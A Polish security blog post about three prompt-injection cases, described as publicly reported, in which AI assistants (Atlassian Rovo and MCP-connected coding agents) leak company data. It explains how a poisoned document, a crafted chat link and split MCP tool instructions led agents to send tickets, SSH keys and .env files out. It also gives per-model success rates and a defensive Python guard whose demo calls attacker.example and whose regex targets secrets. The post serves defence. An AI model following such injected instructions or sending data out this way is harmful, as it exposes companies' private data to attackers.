Przejdź do treści
Wróć do bloga
6 min czytania

Dokument, link, wtyczka. Trzy sposoby, w jakie asystent AI wynosi dane firmy

Jeśli Twój asystent AI ma dostęp do Jiry, Confluence, poczty albo repozytorium kodu, te trzy przypadki dotyczą Ciebie. W każdym z nich atakujący kontrolował tylko kawałek treści, a resztę zrobił sam asystent, na uprawnieniach zalogowanego pracownika. Poniżej opis każdego przypadku, wspólny mechanizm, 38 linii Pythona, które go przecinają, i lista rzeczy do zrobienia.

BezpieczeństwoAgenci AIStudium przypadku
Dokument, ogniwa łańcucha i puzzel prowadzą do niebieskiego koła, a pomarańczowa bariera oddziela je od chmury.

Przypadek 1. Wgrany dokument i wyłączone wyszukiwanie

Atakujący kontrolował jeden plik. W demonstracji PromptArmor z 5 sierpnia pracownik wgrywa do Atlassian Rovo dokument "Backlog Guide" z ukrytą instrukcją i prosi o uporządkowanie zgłoszeń w Jirze. Rovo przeszukuje Jirę i Confluence, jak mu kazano, po czym dokleja znalezione treści do adresu URL atakującego i otwiera go narzędziem do pobierania stron. Zgłoszenia i strony z Confluence lądują w logach serwera atakującego. Nikt nie zatwierdza tego kroku, a po ponownym otwarciu czatu widać tylko proponowane zmiany w zgłoszeniach.

Najważniejszy szczegół: organizacja miała wyłączone wyszukiwanie w sieci dla Rovo. To ustawienie nie usuwa narzędzia, które otwiera wyniki wyszukiwania, więc wyjście na zewnątrz zostało otwarte. PromptArmor zgłosił problem Atlassianowi 23 maja, ponawiał kontakt 4 czerwca i 29 lipca, a w dniu publikacji pisał, że Rovo nadal jest podatne. The Hacker News 8 sierpnia nie znalazł żadnej aktualizacji tego raportu. Późniejszy status nie jest potwierdzony w źródłach.

Przypadek 2. Jeden klik w link

Atakujący kontrolował link. Varonis opisał 7 sierpnia atak RovoBlast, pokazany na DEF CON 34: parametr rovoChatPrompt w adresie home.atlassian.com wpisuje gotowe polecenie prosto do czatu Rovo. Jedno kliknięcie zalogowanego pracownika wystarcza, żeby Rovo wykonało instrukcje atakującego z jego uprawnieniami. Varonis podsumowuje to wprost: bez jailbreaka, bez obchodzenia uprawnień, bez ostrzeżenia i bez potwierdzenia.

Według zgłoszenia w Bugcrowd, opisanego przez The Hacker News, badacz wyciągnął z Confluence prywatny klucz API, wklejając go w ścieżkę adresu obrazka na serwerze atakującego. Tę samą technikę sprawdzono na Jirze oraz na danych dostępnych przez konektory SharePoint i Outlook. Atlassian naprawił błąd po swojej stronie 8 lipca 2026, a zgłoszenie dostało priorytet P2 i nagrodę 6000 dolarów. Varonis dodaje, że Rovo nie da się w pełni odinstalować, więc po stronie klienta zostaje ograniczanie jego zasięgu.

Przypadek 3. Wtyczka, która dzieli polecenie na części

Atakujący kontrolował serwer MCP, czyli wtyczkę z narzędziami podłączoną do asystenta programisty. Technika GhostSplice zespołu ASSET dzieli kradzież na kawałki, z których żaden nie wygląda groźnie. Opis narzędzia integrity_checker podaje formularz z polami alpha, beta, gamma i delta. Późniejszy wynik skanowania projektu mówi, żeby wpisać w te pola zawartość .ssh/id_rsa, kodu źródłowego, customers.csv i .env. Model składa to w całość i wysyła pliki do narzędzia atakującego.

Testy były kontrolowane: izolowane projekty z podrzuconymi fałszywymi sekretami, nie włamanie do prawdziwej firmy. Atak zakłada też, że programista sam podłączył wrogi serwer, a agent i tak mógł czytać te pliki. Wyniki mocno zależą od modelu i od klienta, w którym działa:

  • GPT‑4o, Gemini 2.0 Flash i Llama 3.3 70B: 0% przy poleceniu w jednym kawałku, 100% po podziale na dwa.
  • GPT‑5.4: 90% w Cursorze i 100% w Codex CLI, ale 0% w Claude Code.
  • Claude Sonnet 4.6 i Opus 4.6: 0% w całej tabeli, choć w jednym teście Sonnet wysłał kod źródłowy z wpisanym na sztywno kluczem.
Wykres słupkowy: przy poleceniu w jednym miejscu modele wykonały je średnio w 42% prób, po podziale na dwa kanały w 82%.
Średnie z 11 modeli testowanych przez API. Pełna tabela badaczy ma 15 wierszy, kilka modeli miało 0%, a ten sam model zachowywał się różnie w różnych klientach.Źródło: The Hacker News, na podstawie danych ASSET Research GroupOtwórz w pełnym rozmiarze

Co łączy te trzy przypadki

Za każdym razem spotkały się trzy rzeczy, które Simon Willison nazywa zabójczą trójką: dostęp do prywatnych danych, kontakt z treścią od obcych i możliwość wysłania czegoś na zewnątrz. Varonis dokłada do tego obserwację z testów: jeśli model może coś przeczytać, może to potraktować jak polecenie. Filtr na słowa kluczowe w prompcie tu nie pomoże, bo w przypadku GhostSplice żaden pojedynczy fragment nie zawierał nic podejrzanego.

Wyjście zawsze prowadziło przez narzędzie: pobranie strony, wczytanie obrazka, wywołanie funkcji wtyczki. Tam da się postawić regułę, której model nie przegada. Badacze z ASSET formułują ją tak: wynik narzędzia traktuj jak dane, a nie jak polecenie, i nie pozwalaj, żeby wartości z wyniku jednego narzędzia trafiały bez kontroli do argumentów innego.

Strażnik między agentem a narzędziami

Poniższa klasa siedzi między agentem a jego narzędziami i sprawdza każde wywołanie przed wykonaniem. Robi trzy rzeczy: przepuszcza adresy tylko do domen z listy, zapamiętuje teksty zwrócone przez narzędzia i blokuje wywołanie sieciowe, które niesie zapamiętany tekst albo coś, co wygląda na sekret. Każdą blokadę zapisuje w logu.

python

import logging, re, sys
from urllib.parse import urlparse

logging.basicConfig(stream=sys.stdout, format="%(levelname)s %(message)s")
ALLOWED_DOMAINS = {"api.atlassian.com", "yourcompany.atlassian.net"}
NETWORK_TOOLS = {"open_url", "http_post", "send_email"}
SECRETS = re.compile(r"AKIA[0-9A-Z]{16}|-----BEGIN|\b[A-Z][A-Z0-9_]{2,}=\S+")
MIN_TAINT_LEN = 12  # ignore short strings like "OK" or ticket keys

class ToolGuard:
    def __init__(self):
        self.tainted = set()

    def check(self, tool, args):
        text = " ".join(str(v) for v in args.values())
        for url in re.findall(r"https?://[^\s\"']+", text):
            host = urlparse(url).hostname or ""
            if host not in ALLOWED_DOMAINS:
                return self._block(tool, f"domain not allowed: {host}")
        if tool in NETWORK_TOOLS:
            if SECRETS.search(text):
                return self._block(tool, "secret pattern in arguments")
            if any(t in text for t in self.tainted):
                return self._block(tool, "carries data returned by another tool")
        return True

    def remember(self, result):
        lines = (s.strip() for s in str(result).splitlines())
        self.tainted |= {s for s in lines if len(s) >= MIN_TAINT_LEN}

    def _block(self, tool, reason):
        logging.warning("BLOCKED %s: %s", tool, reason)
        return False

guard = ToolGuard()
guard.remember("PROJ-142: migrate billing DB\nDB_PASSWORD=hunter2-prod")
print(guard.check("open_url", {"url": "https://yourcompany.atlassian.net/browse/PROJ-142"}))
print(guard.check("open_url", {"url": "https://attacker.example/log?d=PROJ-142"}))
Python 3.13, tylko biblioteka standardowa. Zapisz jako guard.py i uruchom: python3 guard.py.

Wynik uruchomienia: pierwsze wywołanie zwraca True, bo link do zgłoszenia prowadzi do dozwolonej domeny. Drugie zwraca False, a w logu pojawia się linia "WARNING BLOCKED open_url: domain not allowed: attacker.example". Gdyby atakujący użył dozwolonej domeny i dokleił do adresu treść zgłoszenia, zatrzyma go druga reguła z komunikatem "carries data returned by another tool". Adres z kluczem AWS albo linią DB_PASSWORD=... zatrzyma trzecia.

To jedna warstwa obrony, nie pełna ochrona. Nie złapie danych zakodowanych w base64 lub w URL ani streszczonych własnymi słowami modelu. Porównuje całe linie wyniku, więc przepuści też sam wycinek linii, na przykład numer konta bez reszty zdania. Nie widzi obrazków w Markdownie, które przeglądarka pobiera sama, bez wywołania narzędzia. Dozwolona domena też może posłużyć za skrzynkę, na przykład komentarz w publicznym zgłoszeniu. Przy wtyczkach MCP trzeba dopisać do NETWORK_TOOLS każde narzędzie zewnętrznego serwera, bo jego argumenty opuszczają maszynę. Wtedy formularz z GhostSplice, wypełniony treścią .env albo klucza SSH, zostaje zatrzymany. A każda blokada zostawia ślad w logu, którego użytkownik Rovo w czacie nie widział.

Co zrobić w tym miesiącu

Pięć kroków dla firmy z asystentem podłączonym do narzędzi

  1. 01Spisz wszystkie narzędzia asystenta, które mogą wysłać coś na zewnątrz: pobieranie stron, podgląd linków, obrazki, e-mail, webhooki. Wyłączone wyszukiwanie w sieci nie oznacza, że ta lista jest pusta.
  2. 02Wyłącz asystenta tam, gdzie leżą najbardziej wrażliwe dane: kadry, finanse, dział prawny. Atlassian pozwala blokować funkcje Rovo dla poszczególnych aplikacji, a w planie Enterprise także dla grup użytkowników.
  3. 03Jeśli budujesz własnego agenta, postaw regułę taką jak powyższa między modelem a narzędziami: lista dozwolonych domen, śledzenie danych z wyników narzędzi i log każdej blokady.
  4. 04Podłączaj tylko serwery MCP, które ktoś w firmie przejrzał, przypinaj ich wersje i zostaw człowiekowi możliwość odrzucenia wywołania narzędzia.
  5. 05Raz na kwartał wstaw do Confluence albo repozytorium fałszywy klucz i spróbuj go wyprowadzić zatrutym dokumentem. Jeśli klucz dotrze na Twój testowy serwer, wiesz, co naprawiać.

Źródła

  1. 01PromptArmor, Atlassian Rovo Exfiltrates Data, Bypassing Controlsopublikowano 5 sierpnia 2026
  2. 02Varonis Threat Labs, RovoBlast: How One Click Triggered Atlassian's AI Assistant to Leak Dataopublikowano 7 sierpnia 2026
  3. 03The Hacker News, Atlassian Rovo Can Be Tricked Into Sending Jira and Confluence Data to Attackersopublikowano 8 sierpnia 2026
  4. 04The Hacker News, Malicious MCP Servers Can Split Instructions to Make AI Coding Agents Exfiltrate Secretsopublikowano 11 sierpnia 2026
  5. 05ASSET Research Group, asset-group/ghostsplice on GitHubopublikowano 23 lipca 2026, README według stanu na 11 sierpnia 2026

Więcej z bloga

6 min czytania

Umiejętności agenta: dlaczego pięć działa lepiej niż sto

Przy puli pięciu skilli właściwy stanowi 29,6% tych, po które agent faktycznie sięga, przy stu już tylko 3,3%. W sierpniu publiczny rejestr skilli rozdawał klony, które kradły klucze SSH. Cztery zasady dla zespołu, który pracuje z agentami.

Czytaj

Opisz proces, który zabiera najwięcej czasu

Wystarczy kilka zdań. Odpowiemy, czy da się go usprawnić, ile to mniej więcej kosztuje i czy w ogóle potrzebujesz do tego AI.